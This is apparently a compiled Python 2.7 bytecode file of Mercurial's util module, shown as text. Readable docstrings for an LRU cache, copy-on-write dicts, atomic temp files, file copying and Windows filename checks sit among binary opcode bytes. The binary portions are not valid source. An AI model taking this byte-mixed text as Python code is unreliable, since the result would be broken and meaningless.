cC@sCt|t�r|j�}nx|D]\}}|||<q%WdS(N(R]RKt	iteritems(R0tsrcR3RV((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR/bs(RCRDRER�R	tispypyR/(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�Os
		tcowdictcB@seZdZRS(s�copy-on-write dict

    Be sure to call d = d.preparewrite() before writing to d.

    >>> a = cowdict()
    >>> a is a.preparewrite()
    True
    >>> b = a.copy()
    >>> b is a
    True
    >>> c = b.copy()
    >>> c is a
    True
    >>> a = a.preparewrite()
    >>> b is a
    False
    >>> a is a.preparewrite()
    True
    >>> c = c.preparewrite()
    >>> b is c
    False
    >>> b is b.preparewrite()
    True
    (RCRDRE(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�hstcowsortdictcB@seZdZRS(sZcopy-on-write sortdict

    Be sure to call d = d.preparewrite() before writing to d.
    (RCRDRE(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��st
transactionalcB@sMeZdZejZejd��Zejd��Zd�Z	d�Z
RS(sBBase class for making a transactional type into a context manager.cC@sdS(s$Successfully closes the transaction.N((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRm�RcC@sdS(soMarks the end of the transaction.

        If the transaction has not been closed, it will be aborted.
        N((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytrelease�RcC@s|S(N((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt	__enter__�scC@s/z|dkr|j�nWd|j�XdS(N(R@RmR�(R0texc_typetexc_valtexc_tb((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__exit__�s(RCRDREtabctABCMetat
__metaclass__tabstractmethodRmR�R�R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s		cc@s\|sdVdSz;ydV|j�Wn!tjk
rH|j��nXWd|j�XdS(s�A context manager that closes the transaction on InterventionRequired

    If no transaction was provided, this simply runs the body and returns
    N(RmRtInterventionRequiredR�(ttr((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytacceptintervention�s
cc@s	dVdS(N((((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytnullcontextmanager�st
_lrucachenodecB@s&eZdZdZd�Zd�ZRS(	s�A node in a doubly linked list.

    Holds a reference to nodes on either side as well as a key-value
    pair for the dictionary entry.
    unextuprevukeyuvalueucostcC@s1d|_d|_t|_d|_d|_dS(Ni(R@tnexttprevt_notsetR;R�tcost(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�s
				cC@st|_d|_d|_dS(sMark the node as emptied.iN(RR;R@R�R(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt	markempty�s		(unextuprevukeyuvalueucost(RCRDRER�R4R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s	tlrucachedictcB@s�eZdZdd�Zd�Zd�Zd�Zd�Zdd�Zd�Z	d	�Z
dd
�Zd�Z
ddd�Zd
�Zd�Zd�Zd�ZRS(sDict that caches most recent accesses and sets.

    The dict consists of an actual backing dict - indexed by original
    key - and a doubly linked circular list defining the order of entries in
    the cache.

    The head node is the newest entry in the cache. If the cache is full,
    we recycle head.prev and make it the new head. Cache accesses result in
    the node being moved to before the existing head and being marked as the
    new head node.

    Items in the cache can be inserted with an optional "cost" value. This is
    simply an integer that is specified by the caller. The cache can be queried
    for the total cost of all items presently in the cache.

    The cache can also define a maximum cost. If a cache insertion would
    cause the total cost of the cache to go beyond the maximum cost limit,
    nodes will be evicted to make room for the new code. This can be used
    to e.g. set a max memory limit and associate an estimated bytes size
    cost to each item in the cache. By default, no maximum cost is enforced.
    icC@sSi|_t�|_}||_||_d|_||_d|_||_dS(Nii(	t_cacheRt_headRR
RItcapacityt	totalcosttmaxcost(R0RpRthead((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�s						cC@s
t|j�S(N(RRR(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__len__�scC@s
||jkS(N(R(R0R3((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__contains__�scc@s>|j}x.tt|j��D]}|jV|j}qWdS(N(RtrangeRRRR;R
(R0R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR>�s	cC@s!|j|}|j|�|jS(N(Rt_movetoheadR�(R0R3R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR<�s

cC@s0|jj|�}|dk	rx|j|j8_||_||_|j|7_|j|�|jrt|j�ndS|j	|j
kr�|j�}n|jj
}|jtk	r�|j|j8_|j|j=n||_||_||_|j|7_||j|<||_|jr,|j�ndS(s8Insert a new item in the cache with optional cost value.N(RtgetR@RRR�RRt_enforcecostlimitRIRt_addcapacityRRR;R(R0R3RVRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytinserts0		
	
			
		cC@s|j||�dS(N(R (R0R3RV((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�'scC@sK|jj|�}|j|j8_|j�|j|�|j|_dS(N(RtpopRRRRR
R(R0R3R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__delitem__*s


cC@s*y|j|�SWntk
r%|SXdS(N(R<tKeyError(R0R3R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR6s
cC@sU|j}x8|jtk	rC|j|j8_|j�|j}qW|jj�dS(N(	RR;RRRRR
Rtclear(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR$<s	

cC@s�|p|j}|p|j}t|d|�}|jj}x+|jtkri||jk	ri|j}q?WxEtt|j	��D].}|j
|j|jd|j�|j}q�W|S(s8Create a new cache as a copy of the current one.

        By default, the new cache has the same capacity as the existing one.
        But, the cache capacity can be changed as part of performing the
        copy.

        Items in the copy have an insertion/access order matching this
        instance.
        RR(
RRRRRR;RRRRRR R�R(R0RRtresultR�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�Es!

cC@s~|js
dS|jj}x|jtkr7|j}qW|j|j}}|j|j=|j|j8_|j�||fS(suRemove the oldest item from the cache.

        Returns the (key, value) describing the removed cache entry.
        N(	RRRR;RR�RRR(R0R�R;R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt	popoldestds	


cC@sg|j}|j|j_|j|j_|j|_|jj|_||j_||j_||_dS(sqMark a node as the newest, making it the new head.

        When a node is accessed, it becomes the freshest entry in the LRU
        list, which is denoted by self._head.

        Visually, let's make ``N`` the new head node (* denotes head):

            previous/oldest <-> head <-> next/next newest

            ----<->--- A* ---<->-----
            |                       |
            E <-> D <-> N <-> C <-> B

        To:

            ----<->--- N* ---<->-----
            |                       |
            E <-> D <-> C <-> B <-> A

        This requires the following moves:

           C.next = D  (node.prev.next = node.next)
           D.prev = C  (node.next.prev = node.prev)
           E.next = N  (head.prev.next = node)
           N.prev = E  (node.prev = head.prev)
           N.next = A  (node.next = head)
           A.prev = N  (head.prev = node)
        N(RR
R(R0RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR{s	cC@sO|j}t�}||j_|j|_||_||_|jd7_|S(shAdd a node to the circular linked list.

        The new node is inserted before the head node.
        i(RRRR
RI(R0RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s				cC@s�t|�dks$|j|jkr(dSt|jd�}|jj}x|jtkre|j}qJWxWt|�dkr�|j|kr�|j|j=|j|j	8_|j
�|j}qiWdS(Nig�?(RRRRR�RRR;RRRR(R0t
targetcostR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s$
$

N(RCRDRER4RRR>R<R R�R"R@RR$R�R&RRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s 				'						/	c@sUi�tj���jjdkr<���fd�}n���fd�}|S(s+cache most recent results of function callsic@sc|�krAt��dkr.��j�=n�|��|<n
�j|��j|��|S(Ni(RRtpoplefttremoveR}(R�(R�R�torder(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s

c@sc|�krAt��dkr.��j�=n�|��|<n
�j|��j|��|S(Ni(RRR(R)R}(Rv(R�R�R*(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s

(tcollectionstdequeR�R�(R�R�((R�R�R*s4/usr/lib64/python2.7/site-packages/mercurial/util.pytlrucachefunc�s

t
propertycachecB@s&eZd�Zdd�Zd�ZRS(cC@s||_|j|_dS(N(R�RCR�(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�s	cC@s#|j|�}|j||�|S(N(R�t
cachevalue(R0tobjttypeR%((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__get__�scC@s||j|j<dS(N(t__dict__R�(R0R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR/�sN(RCRDR4R@R2R/(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR.�s	cC@s ||jkr|j|=ndS(s2clear a cached property value, if one has been setN(R3(R0tprop((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytclearcachedpropertysiicc@s�d�}g}d}x�|D]�}|j|�|t|�7}||kr||kr�|d>}d||�>}||kr�|}n||kr�|}q�ndj|�Vd}g}qqW|r�dj|�VndS(srreturn no less than min bytes per chunk while data remains,
    doubling min after each chunk until it reaches maxcS@s9|s
dSd}x|r0|dL}|d7}qW|dS(Nii((txR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytlog2s	
iiRN(R}RRRt(tsourceRrRpR7Rztblentchunktnmin((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytincreasingchunkss&		


	
cC@stS(N(R|(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytalways$scC@stS(N(Re(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytnever'sc@s�fd�}|S(s
disable garbage collector

    Python's garbage collector triggers a GC each time a certain number of
    container objects (the number being defined by gc.get_threshold()) are
    allocated even when marked not to be tracked by the collector. Tracking has
    no effect on when GCs are triggered, only on what objects the GC looks
    into. As a workaround, disable GC while building complex (huge)
    containers.

    This garbage collector issue have been fixed in 2.7. But it still affect
    CPython's performance.
    c@sBtj�}tj�z�||�SWd|r=tj�nXdS(N(tgct	isenabledtdisabletenable(RvRwt	gcenabled(R�(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytwrapper7s
((R�RD((R�s4/usr/lib64/python2.7/site-packages/mercurial/util.pytnogc*s
cC@s|S(N((R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�CRcC@s!|st|�Stjj|�r�tjj|�dtjj|�dkrgtjj|t|��Sdjt|�|f�}nt|�|jd�}}|j	�|j	�x8|r�|r�|d|dkr�|j
�|j
�q�W|j	�tjjdgt
|�|�p dS(sareturn the relative path from one place to another.
    root should use os.sep to separate directories
    n1 should use os.sep to separate directories
    n2 should use "/" to separate directories
    returns an os.sep-separated path.

    If n1 is a relative path, it's assumed it's
    relative to root.
    n2 should always be relative to root.
    it/i����s..R�(t	localpathR{tpathtisabst
splitdriveRttpconvertt	splitpathR�treverseR!R	tossepRR(troottn1tn2tatb((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytpathtoEs
,

#

tfrozent
macosx_appc@s�fd�}|S(s5wrap a function with code to check for calling errorsc@s]y�||�SWnEtk
rXttjtj�d��dkrRtj�n�nXdS(Nii(t	TypeErrorRRt	tracebackt
extract_tbtsystexc_infoRtSignatureError(RvRw(R�(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytcheckjs
%((R�R]((R�s4/usr/lib64/python2.7/site-packages/mercurial/util.pytchecksignaturehstapfstbtrfstext2text3text4thfstjfstNTFStreiserfsttmpfstufstxfstzfsc
C@s�d}tjj|�rC|r6|o0tj|�}nt|�n|r�yttjj|��}Wnt	k
r~d}nX|t
kr�t}q�n|r�yt||�dSWq�t
t	fk
r�q�Xntjj|�r�tjtj|�|�n�y�tj||�|r)tj||�nqtj||�|r�|jr�tj|�}|j|�r�|jtjdd@}tj|||f�q�nWn+tjk
r�}	tjt|	���nXdS(scopy a file, preserving mode and optionally other stat info like
    atime/mtime

    checkambig argument is used with filestat, and is useful only if
    destination file is guarded by any lock (e.g. repo.lock or
    repo.wlock).

    copystat and checkambig should be exclusive.
    Nii���(R@R{RHtlexiststfilestattfrompathtunlinkt	getfstypetdirnametOSErrort_hardlinkfswhitelistRetoslinktIOErrortislinktsymlinktreadlinktshutiltcopyfiletcopystattcopymodetstattisambigtST_MTIMEtutimetErrorRR-tstr(
R�R�thardlinkR{t
checkambigtoldstattfstypetnewstattadvancedtinst((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRz�s@



 c@s�d}��fd�}tjj|�r��dkritj|�jtjtjj|��jk�n|�tj|�x5t|�D][\}}tjj	||�}tjj	||�}	t
||	���\�}
||
7}q�Wn��dkr7tjtjj|��jtjtjj|��jk�n|��r�yt||�Wq�tt
fk
r�t�tj||�q�Xntj||�|d7}�r��j�n�|fS(s2Copy a directory tree using hardlinks if possible.ic@s.�r*�rtd�n	td��_ndS(Ntlinkingtcopying(R.ttopic((R�tprogress(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytsettopic�siN(R{RHtisdirR@R}tst_devRqtmkdirtlistdirRtt	copyfilesRtRuRrReRyR�t	increment(R�tdstR�R�tnumR�R�tkindtsrcnametdstnameR�((R�R�s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s8$
$

tcontprntauxtnultcom1tcom2tcom3tcom4tcom5tcom6tcom7tcom8tcom9tlpt1tlpt2tlpt3tlpt4tlpt5tlpt6tlpt7tlpt8tlpt9s:*?"<>|cC@s(|jd�rtd�Sd|kr/td�Sx�|jdd�jd�D]�}|s]qKnxWt|�D]I}|tkr�td�|St|�dkrjtd�tj|�SqjW|jd	�d
}|r�|j	�t
kr�td�|S|d}|dkrK|d
krKtd�|SqKWdS(sUCheck that the base-relative path is a valid filename on Windows.
    Returns None if the path is ok, or a UI string describing the problem.

    >>> checkwinfilename(b"just/a/normal/path")
    >>> checkwinfilename(b"foo/bar/con.xml")
    "filename contains 'con', which is reserved on Windows"
    >>> checkwinfilename(b"foo/con.xml/bar")
    "filename contains 'con', which is reserved on Windows"
    >>> checkwinfilename(b"foo/bar/xml.con")
    >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
    "filename contains 'AUX', which is reserved on Windows"
    >>> checkwinfilename(b"foo/bar/bla:.txt")
    "filename contains ':', which is reserved on Windows"
    >>> checkwinfilename(b"foo/bar/b\07la.txt")
    "filename contains '\\x07', which is invalid on Windows"
    >>> checkwinfilename(b"foo/bar/bla ")
    "filename ends with ' ', which is not allowed on Windows"
    >>> checkwinfilename(b"../bar")
    >>> checkwinfilename(b"foo\\")
    "filename ends with '\\', which is invalid on Windows"
    >>> checkwinfilename(b"foo\\/bar")
    "directory name ends with '\\', which is invalid on Windows"
    s\s3filename ends with '\', which is invalid on Windowss\/s9directory name ends with '\', which is invalid on WindowsRFs4filename contains '%s', which is reserved on Windowsis3filename contains '%s', which is invalid on WindowsR�ii����s. s..s8filename ends with '%s', which is not allowed on WindowsN(tendswithR.treplaceR�t_filenamebytestrt_winreservedcharstordRR�tlowert_winreservednames(RHR�tctbasett((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytcheckwinfilename�s,

"			
	tperf_countercC@s�ytj||�SWn;tk
rA}|jtjkrR�qRntk
rQnXtjtjBtjBt	tdd�B}tj
||�}tj||�tj|�dS(s�Create a lock file atomically if possible

    This may leave a stale lock file if symlink isn't supported and signal
    interrupt is enabled.
    tO_BINARYiN(
R{RwRrterrnotEEXISTtAttributeErrortO_CREATtO_WRONLYtO_EXCLR�topenR�Rm(tinfotpathnametwhyR�tld((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytmakelock s	
'cC@s{yt|�SWnDtk
rD}|jtjtjfkrU�qUntk
rTnXt|d��}|j�SWdQXdS(Ntrb(RxRrR�tEINVALtENOSYSR�t	posixfileRQ(R�R�R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytreadlock3s	
cC@s<ytj|j��SWntk
r7tj|j�SXdS(s1stat file object that may not have fileno method.N(R{R�RlR�R}R�(R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�>s
cC@s�tj|�}tjj|�\}}|j�}||kr^|j�}||kr^tSntjj||�}y'tj|�}||kr�tStSWnt	k
r�tSXdS(s�
    Return true if the given path is on a case-sensitive filesystem

    Requires a path (like /foo/.hg) ending with a foldable final
    directory component.
    N(
R{tlstatRHR�tupperR�R|RtReRr(RHts1tdRStb2tp2ts2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytfscasesensitiveGs
t_recB@s,eZd�Zdd�Zed��ZRS(cC@s:yttjdd��aWntk
r5tanXdS(Ns\[([^\[]+)\]s[ui](Ritre2R�t_re2R�Re(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt	_checkre2es
icC@s�tdkr|j�ntr�|tjtjB@dkr�|tj@rTd|}n|tj@rnd|}nytj|�SWq�tjk
r�q�Xntj||�S(s�Compile a regular expression, using re2 if possible

        For best performance, use only re2-compatible regexp features. The
        only flags from the re module that are re2-compatible are
        IGNORECASE and MULTILINE.is(?i)s(?m)N(	R�R@R�R�t
IGNORECASEt	MULTILINER�tcompileR(R0tpatR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�ms
!



cC@s1tdkr|j�ntr&tjStjSdS(s�Return the version of escape corresponding to self.compile.

        This is imperfect because whether re2 or re is used for a particular
        function depends on the flags, etc, but it's the best we can do.
        N(R�R@R�R�tescapeR�(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s

(RCRDR�R�R.R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�ds	cC@s>d�}tj}tjr+|tj}n|jdd�tjd||f�}tjj|�}g}x�|j	|�D]�\}}|r�|j
|�q|n|tkr�||�t|<nt|}	|	j|�}
|
s||�t|<}	|	j|�}
n|j
|
p|�tjj
||�}q|Wdj
|�S(s4Get name in the case stored in the filesystem

    The name should be relative to root, and be normcase-ed for efficiency.

    Note that this function is unnecessary, and should not be
    called, for case-sensitive filesystems (simply because it's expensive).

    The root should be normcase-ed, too.
    cS@std�tj|�D��S(Ncs@s!|]}t|�|fVqdS(N(tnormcase(t.0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pys	<genexpr>�s(RKR{R�(tdir((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt_makefspathcacheentry�ss\s\\s([^%s]+)|([%s]+)R(R	RNtosaltsepR�R�R�R{RHtnormpathtfindallR}t_fspathcacheRRt(R�ROR�tsepstpatternR�R%tparttseptcontentstfound((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytfspath�s,
			

c	C@sd
\}}}z�y�tjddtjj|�dddtjj|��\}}tj|�d|d }t||�t	|�}t
|�dkSWntk
r�tSXWd	|d	k	r�|j�nxH||fD]:}y |d	k	r�tj
|�nWq�tk
rq�Xq�WXd	S(s5check whether hardlink count reporting works properlytprefixs.%s-tsuffixs1~R�s%s2~i����iN(NNN(R@R	tmkstempR{RHtbasenameRqRmRtR�tnlinksRrReRo(ttestfiletf1tf2RR�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
checknlink�s(!


	

cC@s+|jtj�p*tjo*|jtj�S(s)Check path ends with os.sep or os.altsep.(R�R	RNR�(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytendswithsep�scC@s|jtj�S(s�Split path by os.sep.
    Note that this function does not use os.altsep because this is
    an alternative of simple "xxx.split(os.sep)".
    It is recommended to use os.path.normpath() before using this
    function if need.(R�R	RN(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRL�scC@sHtjj|�\}}tjdd|ddd|�\}}tj|�t|||�|rg|Sy�yt|d�}WnJtk
r�}|j	t	j
kr�|St|dd	�s�||_
n�nXt|d�}	x!t|�D]}
|	j|
�q�W|j�|	j�Wn/ytj|�Wntk
r<nX�nX|S(
sCreate a temporary file with the same contents from name

    The permission bits are copied from the original file.

    If the temporary file is going to be truncated immediately, you
    can use emptyok=True as an optimization.

    Returns the name of the temporary file.
    R�s.%s-R�t~R�R�tfilenametwbN(R{RHR�R	R�RmR|R�RuR�tENOENTR�R@R�t
filechunkiterR�RoRr(R�temptyokt
createmodeR�R�R�ttemptifpR�tofpR:((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
mktempcopy�s6
(


RmcB@sbeZdZd�Zed��Zed��ZejZd�Z	d�Z
d�Zd�ZRS(s�help to exactly detect change of a file

    'stat' attribute is result of 'os.stat()' if specified 'path'
    exists. Otherwise, it is None. This can avoid preparative
    'exists()' examination on client side of this class.
    cC@s
||_dS(N(R}(R0R}((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4scC@sQytj|�}Wn1tk
rF}|jtjkr=�nd}nX||�S(N(R{R}RrR�R�R@(RbRHR}terr((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRns
cC@stj|j��}||�S(N(R{R�Rl(RbRR}((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytfromfp#scC@s�yZ|jj|jjkoX|jtj|jtjkoX|jtj|jtjkSWntk
rmnXy |jdko�|jdkSWntk
r�tSXdS(N(R}R�tST_CTIMERR�R@Re(R0told((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__eq__*s "
 
cC@s;y"|jtj|jtjkSWntk
r6tSXdS(sExamine whether new (= self) stat is ambiguous against old one

        "S[N]" below means stat of a file at N-th change:

        - S[n-1].ctime  < S[n].ctime: can detect change of a file
        - S[n-1].ctime == S[n].ctime
          - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
          - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
          - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
        - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)

        Case (*2) above means that a file was changed twice or more at
        same time in sec (= S[n-1].ctime), and comparison of timestamp
        is ambiguous.

        Base idea to avoid such ambiguity is "advance mtime 1 sec, if
        timestamp is ambiguous".

        But advancing mtime only in case (*2) doesn't work as
        expected, because naturally advanced S[n].mtime in case (*1)
        might be equal to manually advanced S[n-1 or earlier].mtime.

        Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
        treated as ambiguous regardless of mtime, to avoid overlooking
        by confliction between such mtime.

        Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
        S[n].mtime", even if size of a file isn't changed.
        N(R}RR�Re(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR~9s"
cC@se|jtjdd@}ytj|||f�Wn,tk
r`}|jtjkrZtS�nXtS(sLChange file stat of specified path to avoid ambiguity

        'old' should be previous filestat of 'path'.

        This skips avoiding ambiguity, if a process doesn't have
        appropriate privileges for 'path'. This returns False in this
        case.

        Otherwise, this returns True, as "ambiguity is avoided".
        ii���(	R}RR{R�RrR�tEPERMReR|(R0RHRR�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
avoidambig\scC@s||kS(N((R0tother((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__ne__rs(
RCRDRER4tclassmethodRnRR�t__hash__RR~R	R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRms	
			#	tatomictempfilecB@sMeZdZdded�Zd�Zd�Zd�Zd�Z	d�Z
RS(	swritable file object that atomically updates a file

    All writes will go to a temporary copy of the original file. Call
    close() when you are done writing, and atomictempfile will rename
    the temporary copy to the original name, making the changes
    visible. If the object is destroyed without being closed, all your
    writes are discarded.

    checkambig argument of constructor is used with filestat, and is
    useful only if target file is guarded by any lock (e.g. repo.lock
    or repo.wlock).
    sw+bcC@s�||_t|dd|kd|�|_t|j|�|_||_|jj|_|jj|_|jj|_|jj	|_	|jj
|_
dS(NR�twR�(t_atomictempfile__nameRt	_tempnameR�t_fpt_checkambigRQR�R�R�Rl(R0R�R�R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�s		cC@s�|jjs�|jj�t|j�}|jo=tj|�}|r�|jr�t	|j
|�tj|�}|j|�r�|jtjdd@}t
j|||f�q�q�t	|j
|�ndS(Nii���(RRkRmRGRRRmRnR}trenameRR~RR{R�(R0R�R�R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRm�s
cC@sH|jjsDytj|j�Wntk
r3nX|jj�ndS(N(RRkR{RoRRrRm(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytdiscard�s
cC@s t|d�r|j�ndS(NR(tsafehasattrR(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__del__�scC@s|S(N((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scC@s'|dk	r|j�n
|j�dS(N(R@RRm(R0texctypetexcvalueRX((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s
N(RCRDRER@ReR4RmRRR�R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRus				cC@sX|rt|�n
t|�|rTyttjj|��WqTtk
rPqTXndS(s.unlink and remove the directory if it is emptyN(t	tryunlinkRot
removedirsR{RHRqRr(R�t
ignoremissingtrmdir((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
unlinkpath�s


cC@s@yt|�Wn+tk
r;}|jtjkr<�q<nXdS(s1Attempt to remove a file, ignoring ENOENT errors.N(RoRrR�R�(R�te((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s
cC@s�yt||�Wn�tk
r�}|jtjkr9dS|jtjksR|rX�ntjjtjj|��}||kr��nt	|||�yt||�Wq�tk
r�}|jtjkr�dS�q�XnX|dk	r�tj||�ndS(s�recursive directory creation with parent mode inheritance

    Newly created directories are marked as "not to be indexed by
    the content indexing service", if ``notindexed`` is specified
    for "write" mode access.
    N(tmakedirRrR�R�R�R{RHRqtabspathtmakedirsR@tchmod(R�R�t
notindexedRtparent((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR"�s&cC@s&t|d��}|j�SWdQXdS(NR�(R�RQ(RHR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytreadfile�scC@s)t|d��}|j|�WdQXdS(NR�(R�R�(RHttextR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt	writefile�scC@s)t|d��}|j|�WdQXdS(Ntab(R�R�(RHR'R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
appendfile�stchunkbuffercB@s#eZdZd�Zdd�ZRS(soAllow arbitrary sized chunks of data to be efficiently read from an
    iterator over chunks of arbitrary size.cC@s4d�}||�|_tj�|_d|_dS(s?in_iter is the iterator that's iterating over the input chunks.cs@sjxc|D][}t|�dkr]d}x:|t|�krY|d}|||!V|}q(Wq|VqWdS(Niiiiii(RR(tchunksR:tpostend((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytsplitbig�s


iN(R=R+R,t_queuet_chunkoffset(R0tin_iterR/((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�s	
c
C@s�|dkrdj|j�S|}g}|j}x@|dkrs|s�d}x>|jD]3}|j|�|t|�8}|dkrVPqVqVW|s�Pq�n|d}t|�}|j}|dkr�||kr�||8}|j�|j|�q4n||}	||	kr?||	8}|j�|j||�d|_q4|j||||!�|j|7_||	8}q4Wdj|�S(s�Read L bytes of data from the iterator of chunks of data.
        Returns less than L bytes if the iterator runs dry.

        If size parameter is omitted, read everythingRiiiNi(R@RtR=R0R}RRR1R((
R0tltleftRztqueuettargetR:tchunklRZtchunkremaining((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQ	sB	

	





N(RCRDRER4R@RQ(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR+�s	icc@srxktrm|dkr|}nt||�}|o?|j|�}|sLPn|re|t|�8}n|VqWdS(sYCreate a generator that produces the data in the file size
    (default 131072) bytes at a time, up to optional limit (default is
    to read all data).  Chunks may be less than size bytes if the
    chunk is the last chunk in the file, or the file is a socket or
    some other type of file that sometimes reads less data than is
    requested.N(R|R@RrRQRR(R�RPR�tnbytesR2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�A	s			tcappedreadercB@s,eZdZd�Zdd�Zd�ZRS(s�A file object proxy that allows reading up to N bytes.

    Given a source file object, instances of this type allow reading up to
    N bytes from that source file object. Attempts to read past the allowed
    limit are treated as EOF.

    It is assumed that I/O is not performed on the original file object
    in addition to I/O that is performed by this instance. If there is,
    state tracking will get out of sync and unexpected results will ensue.
    cC@s||_||_dS(s,Allow reading up to <limit> bytes from <fh>.N(RHt_left(R0ROR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4a	s	i����cC@s\|js
dS|dkr%|j}n|jjt||j��}|jt|�8_|S(NRi(R;RHRQRrRR(R0R�R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQf	s	cC@sB|jt|��}|dkr%dS||dt|�+t|�S(Ni(RQRRR@(R0RSR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s	s
(RCRDRER4RQR�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR:V	s
	
c@s�fd�}|S(s@return a function that renders a readable count of some quantityc@sRx?�D]7\}}}t|�||kr||t|�SqW�dd|S(Ni����i(tabstfloat(tcountt
multipliertdivisortformat(t	unittable(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytgo~	s((RBRC((RBs4/usr/lib64/python2.7/site-packages/mercurial/util.pytunitcountfn{	scC@sZ||dkr(tjtd���n|dkrLtjtd���n|d|fS(s�Check that linerange <fromline>:<toline> makes sense and return a
    0-based range.

    >>> processlinerange(10, 20)
    (9, 20)
    >>> processlinerange(2, 1)
    Traceback (most recent call last):
        ...
    ParseError: line range must be positive
    >>> processlinerange(0, 5)
    Traceback (most recent call last):
        ...
    ParseError: fromline must be strictly positive
    isline range must be positiveis"fromline must be strictly positive(Rt
ParseErrorR.(tfromlinettoline((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytprocesslinerange�	s
